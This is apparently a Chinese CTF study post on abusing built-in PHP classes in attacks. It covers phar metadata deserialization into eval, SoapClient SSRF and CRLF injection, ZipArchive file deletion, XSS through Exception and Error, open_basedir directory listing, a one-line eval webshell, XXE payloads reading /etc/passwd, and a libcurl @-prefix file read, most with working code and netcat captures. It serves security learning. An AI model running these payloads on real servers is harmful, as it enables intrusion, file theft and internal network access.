最近做题碰到了好多php的扩展,总结一下

phar

类似于java的war,是php的一个打包文件,里面有一个setMetadata 这一部分数据在反序列化时,会被解析

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php    
class User
{
public $a;
public function __construct()
{
$this->a='phpinfo();';
}
public function __destruct(){
eval($this->a);
}
}
@unlink('phar.phar');
$phar=new phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering(); //开始缓冲Phar写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //phar文件标志,可以加上其他文件头,以绕过检测 "GIF89a"."<?php __HALT_COMPILER();"
$o=new User();
$phar->setMetadata($o); //添加meta-data数据
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

后台代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
file_get_contents($_GET['url']);
class User
{
public $a;
public function __construct()
{
$this->a='';
}
public function __destruct(){
eval($this->a);
}
}
?>

访问一下

?url=phar://phar.phar/test.txt

Soapclient

需要安装soapclient扩展,当调用一个不可访问的方法时,会触发__call方法,向location参数发起请求

测试

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://192.168.110.140:5555/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
?>

nc监听

1
2
3
4
5
6
7
8
9
10
11
[email protected]:/var/www/html# nc -lvp 5555
listening on [any] 5555 ...
192.168.110.1: inverse host lookup failed: Unknown host
connect to [192.168.110.140] from (UNKNOWN) [192.168.110.1] 3669
POST /aaa HTTP/1.1
Host: 192.168.110.140:5555
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.6.27
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://example.com:5555#a"
Content-Length: 384

利用

SSRF

1
2
3
4
<?php
$a = new SoapClient(null,array('uri'=>'hello', 'location'=>'http://127.0.0.1/admin.php'));
$b = serialize($a);
echo urlencode($b);

CRLF

放上wupco师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = "http://example.com:5555/";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=45466464dsdwe'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);

ZipArchive

ZipArchive的open方法

1
2
ZIPARCHIVE::OVERWRITE (integer)
总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖。

再覆盖一个文件之前,会先删除掉之前的文件

1
2
3
ZipArchive::open ( string $filename [, int $flags ] ) : mixed
第一个参数是文件名
第二个参数是打开文件的模式 当为9时,对应ZipArchive::CREATE | ZipArchive::OVERWRITE

测试

phpinfo.php写入

1
2
3
<?php
phpinfo();
?>

test.php

1
2
3
<?php
$a = new ZipArchive();
$a->open('phpinfo.php',ZipArchive::OVERWRITE);

访问一下test.php phpinfo.php就没了

Exception

__tostring xss

适用版本php 5 7

1
2
$a = new Exception("<script>alert(1)</script>");
echo $a;

Error

__tostring 可以触发xss

测试

1
2
$a = new Error("<script>alert(1)</script>");
echo $a; //触发__tostring

只适用php7

image

DirectoryIterator

列目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
printf('open_basedir: %s </br>',ini_get('open_basedir'));
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
echo "{$f}<br/>";
}

finfo

该类在 fileinfo 函数集中提供了一个面向对象的接口。

改一下扩展php.ini,去掉分号

1
extension=php_fileinfo.dll

读文件

测试

1
2
3
4
5
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);
echo new finfo(1,'shell.php');
?>

新建一个shell.php写入

1
<?php eval($_POST[shell]);?>

image

列目录

1
2
3
4
5
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);
echo new finfo(1,var_dump(scandir('./')));
?>

image

SplFileObject::__construct

用来创建一个新的文件对象,可以传入一个url,类似于fopen,向外发送一个请求

测试

1
2
3
4
5
6
7
8
9
10
<?php
$url='http://192.168.110.140:9999';
$a=new SplFileObject($url);
?>

fopen的
<?php
$url='http://192.168.110.140:9999';
$a=fopen($url,'r');
?>

kali监听一下

1
2
3
4
5
6
[email protected]:~# nc -lvp 9999
listening on [any] 9999 ...
192.168.110.1: inverse host lookup failed: Unknown host
connect to [192.168.110.140] from (UNKNOWN) [192.168.110.1] 1195
GET / HTTP/1.0
Host: 192.168.110.140:9999

SimpleXMLElement

用来获取xml文本的方式,既然可以用来获取xml 那就可以xxe了

测试

1
2
3
4
5
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;

payload

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

image

DOMDocument

解析xml文档的一个对象

测试

1
2
3
4
5
6
7
<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);

payload

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

libcurl

测试

任意文件读取

1
全部数据使用HTTP协议中的 "POST" 操作来发送。 要发送文件,在文件名前面加上@前缀并使用完整路径。 文件类型可在文件名后以 ';type=mimetype' 的格式指定。 这个参数可以是 urlencoded 后的字符串,类似'para1=val1&para2=val2&...',也可以使用一个以字段名为键值,字段数据为值的数组。 如果value是一个数组,Content-Type头将会被设置成multipart/form-data。 从 PHP 5.2.0 开始,使用 @ 前缀传递文件时,value 必须是个数组。 从 PHP 5.5.0 开始, @ 前缀已被废弃,文件可通过 CURLFile 发送。 设置 CURLOPT_SAFE_UPLOAD 为 TRUE 可禁用 @ 前缀发送文件(默认为flase),以增加安全性。
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$url = $_GET['url'];
$username = isset($_GET['username'])?$_GET['username']:"admin";
$data = array(
"username"=> $username
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_SAFE_UPLOAD,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$res = curl_exec($ch);
echo $res;

本地监听9999

1
http://127.0.0.1/test.php?url=http://127.0.0.1:9999/&[email protected]

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST / HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
Content-Length: 569
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------e4e06fcc0cae82c8

--------------------------e4e06fcc0cae82c8
Content-Disposition: form-data; name="username"; filename="test.php"
Content-Type: application/octet-stream

<?php
$url = $_GET['url'];
$username = isset($_GET['username'])?$_GET['username']:"admin";
$data = array(
"username"=> $username
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_SAFE_UPLOAD,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$res = curl_exec($ch);
echo $res;
--------------------------e4e06fcc0cae82c8--

@符号

匹配第一个@后面符合格式的host

http://u:[email protected]:[email protected]/index.php

libcurl的解析结果

1
2
3
4
5
schema: http
host: a.com
user: u
pass: p
port: 80

参考链接

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

https://www.anquanke.com/post/id/167140

http://wonderkun.cc/index.html/?p=670